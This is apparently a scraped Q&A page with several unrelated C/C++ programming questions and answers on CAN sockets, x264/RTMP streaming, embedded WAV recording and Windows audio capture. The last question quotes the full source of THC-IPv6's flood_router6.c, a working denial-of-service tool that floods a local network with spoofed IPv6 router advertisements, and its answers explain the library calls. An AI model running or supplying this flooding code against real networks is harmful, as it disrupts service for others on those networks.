I need to transmit 1200 identical CAN messages, with 5ms between each message. This is to arm a motor to start. Because of the timing required, I switched from
sockfd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
to
sockfd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
Using a CAN sniffer, the 1200 messages are being sent at 5ms intervals. The data field has the correct data that I specified, but the 32-bit CAN_ID field is 0x00000000 instead of 0x00000201.
The code I wrote to send a TX_SETUP is shown below.
// these are placed here for testing
unsigned char priority = 0;
unsigned char srcaddr = 0;
unsigned char destaddr = 2;
unsigned objaddr = ESC::enumPWM;
struct {
struct bcm_msg_head msg_head;
struct can_frame frame[4];
} txmsg;
txmsg.msg_head.opcode = TX_SETUP;
txmsg.msg_head.nframes = 1;
// set flags first, set EFF for extended frame, no
// RTR, no ERR.
txmsg.frame[0].can_id = CAN_EFF_FLAG;
txmsg.frame[0].can_id |= ((0x1F & priority) << 24);
txmsg.frame[0].can_id |= (srcaddr << 16);
txmsg.frame[0].can_id |= (destaddr << 8);
txmsg.frame[0].can_id |= objaddr;
txmsg.msg_head.flags = SETTIMER | STARTTIMER | TX_CP_CAN_ID;
txmsg.msg_head.count = 1200;
txmsg.msg_head.ival1.tv_sec = 0;
txmsg.msg_head.ival1.tv_usec = 5000;
txmsg.msg_head.ival2.tv_sec = 0;
txmsg.msg_head.ival2.tv_usec = 0;
// configure the data to send
txmsg.frame[0].can_dlc = 2;
txmsg.frame[0].data[0] = 0x04;
txmsg.frame[0].data[1] = 0x4C;
txmsg.frame[0].data[2] = 0;
txmsg.frame[0].data[3] = 0;
txmsg.frame[0].data[4] = 0;
txmsg.frame[0].data[5] = 0;
txmsg.frame[0].data[6] = 0;
txmsg.frame[0].data[7] = 0;
int err = write(can->sockfd, &txmsg, sizeof(txmsg));
Any idea why the message is transmitting incorrectly?
Related
I'm currently working on a project similar to OBS, where I'm capturing screen data, encoding it with the x264 library, and then broadcasting it to a twitch server.
Currently, the servers are accepting the data, but no video is being played - it buffers for a moment, then returns an error code "2000: network error"
Like OBS Classic, I'm dividing each NAL provided by x264 by its type, and then making changes to each
int frame_size = x264_encoder_encode(encoder, &nals, &num_nals, &pic_in, &pic_out);
//sort the NAL's into their types and make necessary adjustments
int timeOffset = int(pic_out.i_pts - pic_out.i_dts);
timeOffset = htonl(timeOffset);//host to network translation, ensure the bytes are in the right format
BYTE *timeOffsetAddr = ((BYTE*)&timeOffset) + 1;
videoSection sect;
bool foundFrame = false;
uint8_t * spsPayload = NULL;
int spsSize = 0;
for (int i = 0; i<num_nals; i++) {
//std::cout << "VideoEncoder: EncodedImages Size: " << encodedImages->size() << std::endl;
x264_nal_t &nal = nals[i];
//std::cout << "NAL is:" << nal.i_type << std::endl;
//need to account for pps/sps, seems to always be the first frame sent
if (nal.i_type == NAL_SPS) {
spsSize = nal.i_payload;
spsPayload = (uint8_t*)malloc(spsSize);
memcpy(spsPayload, nal.p_payload, spsSize);
} else if (nal.i_type == NAL_PPS){
//pps always happens after sps
if (spsPayload == NULL) {
std::cout << "VideoEncoder: critical error, sps not set" << std::endl;
}
uint8_t * payload = (uint8_t*)malloc(nal.i_payload + spsSize);
memcpy(payload, spsPayload, spsSize);
memcpy(payload, nal.p_payload + spsSize, nal.i_payload);
sect = { nal.i_payload + spsSize, payload, nal.i_type };
encodedImages->push(sect);
} else if (nal.i_type == NAL_SEI || nal.i_type == NAL_FILLER) {
//these need some bytes at the start removed
BYTE *skip = nal.p_payload;
while (*(skip++) != 0x1);
int skipBytes = (int)(skip - nal.p_payload);
int newPayloadSize = (nal.i_payload - skipBytes);
uint8_t * payload = (uint8_t*)malloc(newPayloadSize);
memcpy(payload, nal.p_payload + skipBytes, newPayloadSize);
sect = { newPayloadSize, payload, nal.i_type };
encodedImages->push(sect);
} else if (nal.i_type == NAL_SLICE_IDR || nal.i_type == NAL_SLICE) {
//these packets need an additional section at the start
BYTE *skip = nal.p_payload;
while (*(skip++) != 0x1);
int skipBytes = (int)(skip - nal.p_payload);
std::vector<BYTE> bodyData;
if (!foundFrame) {
if (nal.i_type == NAL_SLICE_IDR) { bodyData.push_back(0x17); } else { bodyData.push_back(0x27); } //add a 17 or a 27 as appropriate
bodyData.push_back(1);
bodyData.push_back(*timeOffsetAddr);
foundFrame = true;
}
//put into the payload the bodyData followed by the nal payload
uint8_t * bodyDataPayload = (uint8_t*)malloc(bodyData.size());
memcpy(bodyDataPayload, bodyData.data(), bodyData.size() * sizeof(BYTE));
int newPayloadSize = (nal.i_payload - skipBytes);
uint8_t * payload = (uint8_t*)malloc(newPayloadSize + sizeof(bodyDataPayload));
memcpy(payload, bodyDataPayload, sizeof(bodyDataPayload));
memcpy(payload + sizeof(bodyDataPayload), nal.p_payload + skipBytes, newPayloadSize);
int totalSize = newPayloadSize + sizeof(bodyDataPayload);
sect = { totalSize, payload, nal.i_type };
encodedImages->push(sect);
} else {
std::cout << "VideoEncoder: Nal type did not match expected" << std::endl;
continue;
}
}
The NAL payload data is then put into a struct, VideoSection, in a queue buffer
//used to transfer encoded data
struct videoSection {
int frameSize;
uint8_t* payload;
int type;
};
After which it is picked up by the broadcaster, a few more changes are made, and then I call rtmp_send()
videoSection sect = encodedImages->front();
encodedImages->pop();
//std::cout << "Broadcaster: Frame Size: " << sect.frameSize << std::endl;
//two methods of sending RTMP data, _sendpacket and _write. Using sendpacket for greater control
RTMPPacket * packet;
unsigned char* buf = (unsigned char*)sect.payload;
int type = buf[0]&0x1f; //I believe &0x1f sets a 32bit limit
int len = sect.frameSize;
long timeOffset = GetTickCount() - rtmp_start_time;
//assign space packet will need
packet = (RTMPPacket *)malloc(sizeof(RTMPPacket)+RTMP_MAX_HEADER_SIZE + len + 9);
memset(packet, 0, sizeof(RTMPPacket) + RTMP_MAX_HEADER_SIZE);
packet->m_body = (char *)packet + sizeof(RTMPPacket) + RTMP_MAX_HEADER_SIZE;
packet->m_nBodySize = len + 9;
//std::cout << "Broadcaster: Packet Size: " << sizeof(RTMPPacket) + RTMP_MAX_HEADER_SIZE + len + 9 << std::endl;
//std::cout << "Broadcaster: Packet Body Size: " << len + 9 << std::endl;
//set body to point to the packetbody
unsigned char *body = (unsigned char *)packet->m_body;
memset(body, 0, len + 9);
//NAL_SLICE_IDR represents keyframe
//first element determines packet type
body[0] = 0x27;//inter-frame h.264
if (sect.type == NAL_SLICE_IDR) {
body[0] = 0x17; //h.264 codec id
}
//-------------------------------------------------------------------------------
//this section taken from https://stackoverflow.com/questions/25031759/using-x264-and-librtmp-to-send-live-camera-frame-but-the-flash-cant-show
//in an effort to understand packet format. it does not resolve my previous issues formatting the data for twitch to play it
//sets body to be NAL unit
body[1] = 0x01;
body[2] = 0x00;
body[3] = 0x00;
body[4] = 0x00;
//>> is a shift right
//shift len to the right, and AND it
/*body[5] = (len >> 24) & 0xff;
body[6] = (len >> 16) & 0xff;
body[7] = (len >> 8) & 0xff;
body[8] = (len) & 0xff;*/
//end code sourced from https://stackoverflow.com/questions/25031759/using-x264-and-librtmp-to-send-live-camera-frame-but-the-flash-cant-show
//-------------------------------------------------------------------------------
//copy from buffer into rest of body
memcpy(&body[9], buf, len);
//DEBUG
//save individual packet body to a file with name rtmp[packetnum]
//determine why some packets do not have 0x27 or 0x17 at the start
//still happening, makes no sense given the above code
/*std::string fileLocation = "rtmp" + std::to_string(packCount++);
std::cout << fileLocation << std::endl;
const char * charConversion = fileLocation.c_str();
FILE* saveFile = NULL;
saveFile = fopen(charConversion, "w+b");//open as write and binary
if (!fwrite(body, len + 9, 1, saveFile)) {
std::cout << "VideoEncoder: Error while trying to write to file" << std::endl;
}
fclose(saveFile);*/
//END DEBUG
//other packet details
packet->m_hasAbsTimestamp = 0;
packet->m_packetType = RTMP_PACKET_TYPE_VIDEO;
if (rtmp != NULL) {
packet->m_nInfoField2 = rtmp->m_stream_id;
}
packet->m_nChannel = 0x04;
packet->m_headerType = RTMP_PACKET_SIZE_LARGE;
packet->m_nTimeStamp = timeOffset;
//send the packet
if (rtmp != NULL) {
RTMP_SendPacket(rtmp, packet, TRUE);
}
I can see that Twitch is receiving the data in the inspector, at a steady 3kbps. so I'm sure something is wrong with how I'm adjusting the data before sending it. Can anyone advise me on what I'm doing wrong here?
The problems start before the code you included even. When you configure x264 be sure to set:
b_aud = 0;
b_repeat_headers = 0;
b_annexb = 0;
This will tell x264 to generate the format needed by rtmp, Then you can skip all the per-nal preprocessing.
For sps/pps use x264_encoder_headers to retrieve them after x264_encoder_open. Encode them into an "extradata" buffer as documented here Possible Locations for Sequence/Picture Parameter Set(s) for H.264 Stream. This extradata goes into an rtmp "sequence header" packet before any frames are sent. Set the frame the AVCPacketType accordingly body[1] in your case, 0 for sequence header 1 for everything else,
body[0] = 0x27;
body[1] = 0;
body[2] = 0;
body[3] = 0;
body[4] = 0;
memcpy(&body[5], extradata, extradata_size);
body[2] through body[4] MUST be set to the frame cts (pts - dts) if you have b frames. If you want to set it to zero, configure x264 for baseline profile, but this will result in reduced image quality. Use the return code from x264_encoder_encode as the frame size, and write the whole frame in one go.
int frame_size = x264_encoder_encode(encoder, &nals, &num_nals, &pic_in, &pic_out);
if(frame_size) {
int cts = pic_out->i_pts - pic_out->i_dts;
body[0] = pic_out->b_keyframe ? 0x27 : 0x17;
body[1] = 1;
body[2] = cts>>16;
body[3] = cts>>8;
body[4] = cts;
memcpy(&body[5], nals->p_payload, frame_size);
}
Finally, Twitch requires you also send an AAC audio stream. and be sure to set the keyframe interval to 2 seconds.
Hi i am trying to record from a board and i have successfully record 4 seconds. Problem is when i try to record for more time, i got an error telling me that there not enough memory. my target is to record a 5 minutes file. Until now i have create a buffer named snIn[256] where are the samples. i send it to a big buffer of [16K * 4sec] and when it is full, i create the wav file.
#include "SAI_InOut.hpp"
#include "F746_GUI.hpp"
#include "Delay.hpp"
#include "WaveformDisplay.hpp"
#include "SDFileSystem.h"
#include "wavfile.h"
using namespace Mikami;
#define RES_STR_SIZE 0x20
#define WAVFILE_SAMPLES_PER_SECOND 16000
#define REC_TIME 4
//Create an SDFileSystem object
SDFileSystem sd("sd");
bool flag = 1;
int count = 0;
char *res_buf;
int rp = 0;
const int NUM_SAMPLES = WAVFILE_SAMPLES_PER_SECOND * REC_TIME;
Array<int16_t> my_buffer(NUM_SAMPLES);
int j = 0;
static const char *target_filename = "/sd/rectest.wav";
const int SEG_SIZE = 256;
int sent_array = 0;
int rec(const char *filename, Array<int16_t> my_buffer)
{
j = 0;
flag = 0;
sent_array = 0;
WavFileResult result;
wavfile_info_t info;
wavfile_data_t data;
WAVFILE_INFO_AUDIO_FORMAT(&info) = 1;
WAVFILE_INFO_NUM_CHANNELS(&info) = 1;
WAVFILE_INFO_SAMPLE_RATE(&info) = WAVFILE_SAMPLES_PER_SECOND;
WAVFILE_INFO_BITS_PER_SAMPLE(&info) = 16;
WAVFILE_INFO_BYTE_RATE(&info) = WAVFILE_INFO_NUM_CHANNELS(&info) * WAVFILE_INFO_SAMPLE_RATE(&info) * (WAVFILE_INFO_BITS_PER_SAMPLE(&info) / 8);
WAVFILE_INFO_BLOCK_ALIGN(&info) = 2;
WAVFILE *wf = wavfile_open(filename, WavFileModeWrite, &result);
if (result != WavFileResultOK) {
wavfile_result_string(result, res_buf, RES_STR_SIZE);
printf("%s", res_buf);
return result;
} else printf ("Open file success \r\n");
rp = 0;
WAVFILE_DATA_NUM_CHANNELS(&data) = 1;
result = wavfile_write_info(wf, &info);
if (result != WavFileResultOK) {
wavfile_result_string(result, res_buf, RES_STR_SIZE);
printf("%s", res_buf);
return result; } else printf ("Write info success \r\n");
while ( rp < NUM_SAMPLES ) {
WAVFILE_DATA_CHANNEL_DATA(&data, 0) = my_buffer[rp];
result = wavfile_write_data(wf, &data);
rp += 1;
}
if (result != WavFileResultOK) {
wavfile_result_string(result, res_buf, RES_STR_SIZE);
printf("%s", res_buf);
return result; } else printf ("Write Data file success \r\n");
result = wavfile_close(wf);
if (result != WavFileResultOK) {
wavfile_result_string(result, res_buf , RES_STR_SIZE);
printf("%s", res_buf);
return result; } else printf ("Close file success \r\n");
//UnMount the filesystem
sd.unmount();
printf("Success rec !\r\n");
return 0;
}
int main()
{
//Mount the filesystem
sd.mount();
const float MAX_DELAY = 0.5f; // 最大遅延,単位:秒
const int FS = I2S_AUDIOFREQ_16K; // 標本化周波数: 16 kHz
const uint32_t MAX_ARRAY_SIZE = (uint32_t)(MAX_DELAY*FS);
SaiIO mySai(SaiIO::BOTH, 256, FS, INPUT_DEVICE_DIGITAL_MICROPHONE_2);
Label myLabel(185, 10, "Delay System", Label::CENTER, Font16);
// ButtonGroup: "ON", "OFF"
const uint16_t BG_LEFT = 370;
const uint16_t BG_WIDTH = 100;
const uint16_t BG_HEIGHT = 45;
ButtonGroup onOff(BG_LEFT, 40, BG_WIDTH/2, BG_HEIGHT,
2, (string[]){"ON", "OFF"}, 0, 0, 2, 1);
const uint16_t SB_LEFT = BG_LEFT - 320;
const uint16_t SB_WIDTH = 270;
const uint16_t SB_Y0 = 240;
char str[20];
sprintf(str, " %3.1f [s]", MAX_DELAY);
SeekBar barDelay(SB_LEFT, SB_Y0, SB_WIDTH,
0, MAX_ARRAY_SIZE, 0, "0", "", str);
NumericLabel<float> labelDelay(SB_LEFT+SB_WIDTH/2, SB_Y0-40, "DELEY: %4.2f", 0, Label::CENTER);
DelaySystem delaySystem(MAX_ARRAY_SIZE);
WaveformDisplay displayIn(*GuiBase::GetLcdPtr(), SB_LEFT+7, 70, 256, 9,LCD_COLOR_WHITE, LCD_COLOR_CYAN,GuiBase::ENUM_BACK);
Label inLabel(SB_LEFT-30, 65, "IN");
WaveformDisplay displayOut(*GuiBase::GetLcdPtr(), SB_LEFT+7, 130, 256, 9,LCD_COLOR_WHITE, LCD_COLOR_CYAN,GuiBase::ENUM_BACK);
Label outLabel(SB_LEFT-30, 125, "OUT");
int runStop = 1;
Array<int16_t> snIn(mySai.GetLength());
Array<int16_t> snOut(mySai.GetLength());
mySai.RecordIn();
mySai.PlayOut();
mySai.PauseOut();
while (true)
{
// On/OFF
int num;
if (onOff.GetTouchedNumber(num))
if (runStop != num)
{
if (num == 0) mySai.ResumeOut();
else mySai.PauseOut();
runStop = num;
}
if (mySai.IsCompleted())
{
for (int n=0; n<mySai.GetLength() ; n++)
{
int16_t xL, xR;
mySai.Input(xL,xR);
int16_t xn = xL + xR;
snIn[n] = xn;
my_buffer[j] = xn;
j++;
if (j == NUM_SAMPLES && flag == 1) {
rec (target_filename , my_buffer); }
int16_t yn = delaySystem.Execute(xn);
mySai.Output(yn, yn);
snOut[n] = yn;
}
mySai.Reset();
displayIn.Execute(snIn);
}
}
}
I thought about a possible solution, to fill directly the "data field" of the wavefile with the snIn[256] buffer (instead of using my_buffer) again and again and at the end close the wavfile. Please let me know what you think about that and other solutions
things to note: 1) while a write operation is being performed, more data is still coming in.
At the very least I would double buffer that data, so can be writing one buffer while the other one fills.
Usually this means using an interrupt to collect the samples (into which ever buffer is currently being filed.)
the foreground program waits for the current buffer to be 'full', then initiates write operation.,
then waits again for a buffer to be 'full'
The interrupt function tracks which buffer is being filled and the current index into that buffer. When a buffer is full, set a 'global' status to let the foreground program know which buffer is ready to be written.
The foreground program writes the buffer, then resets the status for that buffer.
I'm trying to capture waveforms of floating point PCM data from a microphone. The application is only asking for a small number of samples each cycle (For 20'000Hz and a frame size of 0.003s, it would ask for 60 samples)
I would like to set the buffer size depending on how many ms the app is interested in but it seems that dwBufferBytes has to be a certain size. Instead, I set it to nAvgBytesPerSec and only lock/copy 60 samples each time (even though much more data would be available to read)
Is this a valid approach or is there a different way to throttle the sound driver? Is there a way to reduce the size of the buffer to only give me as much data as the app is requesting? I don't want to get a ton of sound
data if the application only wants 60 values.
Using this approach, I certainly will run into problems if the buffer catches up with my (slow) read cursor.
unsigned short channelNum = 2;
unsigned short bitsPerSample = 32;
unsigned long sampleRate = 20000;
unsigned short blockAlign = (channelNum * bitsPerSample) / 8;
unsigned long avgBytesPerSec = sampleRate * blockAlign;
WAVEFORMATEX wfx = { WAVE_FORMAT_IEEE_FLOAT, channelNum, sampleRate, avgBytesPerSec, blockAlign, bitsPerSample, 0 };
unsigned int mSampleBufferSize = 60; // 1400
DSCBUFFERDESC bufferDesc;
bufferDesc.dwSize = sizeof(DSCBUFFERDESC);
bufferDesc.dwFlags = 0;
bufferDesc.dwBufferBytes = wfx.nAvgBytesPerSec;
bufferDesc.dwReserved = 0;
bufferDesc.lpwfxFormat = &wfx;
bufferDesc.dwFXCount = 0;
bufferDesc.lpDSCFXDesc = NULL;
IDirectSoundCaptureBuffer *buffer = 0;
bool bufferRunning = false;
if (directSound && capture)
{
hr = capture->CreateCaptureBuffer(&bufferDesc, &buffer, NULL);
if (FAILED(hr))
std::cout << "SampleThread() -- Error creating DirectSoundCaptureBuffer " << endl;
else
{
hr = buffer->Start(DSCBSTART_LOOPING);
if (SUCCEEDED(hr)) {
bufferRunning = true;
}
}
}
void* primaryBuffer = NULL;
unsigned long primaryBufferSizeBytes = 0;
void* secondaryBuffer = NULL;
unsigned long secondaryBufferSize = 0;
bool mStopExecution = false;
unsigned long lastReadPosition = 0;
if (directSound && capture && buffer)
{
while (!mStopExecution)
{
DWORD readPos;
WORD remainingSize = 0;
DWORD capturePos;
hr = buffer->GetCurrentPosition(&capturePos, &readPos);
if (FAILED(hr))
{
cout << "SampleThread() -- Error GetCurrentPosition" << endl;
return 0;
}
buffer->Lock(lastReadPos, mSampleBufferSize, &primaryBuffer, &primaryBufferSizeBytes, &secondaryBuffer, &secondaryBufferSize, NULL);
memcpy(mBuffer, (float*)primaryBuffer, primaryBufferSizeBytes / sizeof(float));
// .... copy secondary buffer
hr = buffer->Unlock(primaryBuffer, primaryBufferSizeBytes, secondaryBuffer, secondaryBufferSize);
lastReadPosition = (lastReadPosition + mSampleBufferSize) % bufferDesc.dwBufferBytes;
}
}
I had a program in Cc++ that using usb audio card to record some data. It work's perfectly under Windows XP. Now I have to move it to Windows7.
Win7 doesn't get any data from that card so I installed the ASIO driver to solve this problem. So I tried to get some data with Cooledit Pro and it works. But in my program the input data is corrupted.
I'm using fllowing function to get some data:
void __fastcall AudioIn :: onMessage(TMessage & message) {
if(message.Msg == MM_WIM_DATA && ! Terminated) {
if(callback)
callback(((WAVEHDR *)message.LParam) -> lpData,
((WAVEHDR *)message.LParam) -> dwBytesRecorded / 2);}
Unfortunately ((WAVEHDR *)message.LParam) -> lpData consist something like ЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЂЃ. Where is my mistake?
Adding additional code:
1) Found my usb device
for(int i = 0; deviceId == -1 && i < devNum; i ++)
if(AudioDev :: getDevCaps(i).UpperCase().Pos(L"USB"))
deviceId = i;
zvvi -> initDevice(deviceId);
2) Init this device
initDevice(int deviceId) {
if(wiState != wisClosed) closeDevice();
wiDevice = deviceId;
thread = new AudioIn(true);
thread -> FreeOnTerminate = true;
thread -> setCallback(callback);
thread -> Start();}
3)Prepare WAVEHDR
void __fastcall AudioIn :: prepareHeaders(int bCount, int bSize) {
if(prepared)
return;
prepared = true;
wiBuffCount = bCount;
wiBuffSize = bSize;
wavehdr = new WAVEHDR[wiBuffCount];
buff = new char *[wiBuffCount];
for(int i = 0; i < wiBuffCount; i ++)
buff[i] = new char[wiBuffSize];
for(int i = 0; i < wiBuffCount; i ++) {
wavehdr[i].lpData = (char *)buff[i];
wavehdr[i].dwBufferLength = wiBuffSize * sizeof(* buff[i]);
wavehdr[i].dwLoops = 0;
wavehdr[i].dwFlags = 0;
check(waveInPrepareHeader(wiHandle, & wavehdr[i], sizeof(wavehdr[i])), L"wiPrepareHeader");
}
}
4)Also i have function that configuring device
openDevice() {
if(wiState != wisClosed)
return;
const samplerate = 44100;
tWAVEFORMATEX format;
format.wFormatTag = WAVE_FORMAT_PCM;
format.nChannels = 1;
format.nSamplesPerSec = samplerate;
format.wBitsPerSample = 8;
format.nBlockAlign = (format.nChannels * format.wBitsPerSample) / 8;
format.nAvgBytesPerSec = (format.wBitsPerSample / 8) * samplerate;
format.cbSize = 0;
5) Started thread where my function get data "AudioIn :: onMessage"
This code is a Denial of Service attack program in BackTrack from http://www.thc.org/
The code's name is flood_router6.c
In the code shown below, I have problem what are these functions doing:
thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()
there are no functions like that in "thc-ipv6.h" library.
What are these functions do? I searched on google and there are no answer.
Anyone can help?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
extern int debug;
void help(char *prg) {
printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-r] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
count++;
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
memcpy(&buf[32], route6, 16);
buf[48] = 1;
buf[49] = 1;
memcpy(&buf[50], mac6, 6);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project:
http://www.thc.org/thc-ipv6/
The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet.
http://www.thc.org/thc-ipv6/README
Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers.
thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.
You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c
The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library.
Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet.
There are more thc_add_* functions, e.g. for UDP, TCP or extension headers.
Finally thc_generate_and_send_pkt() will build the packet and send it to the network.
See the README.
The smurf6.c file is an easy example on how to use the library.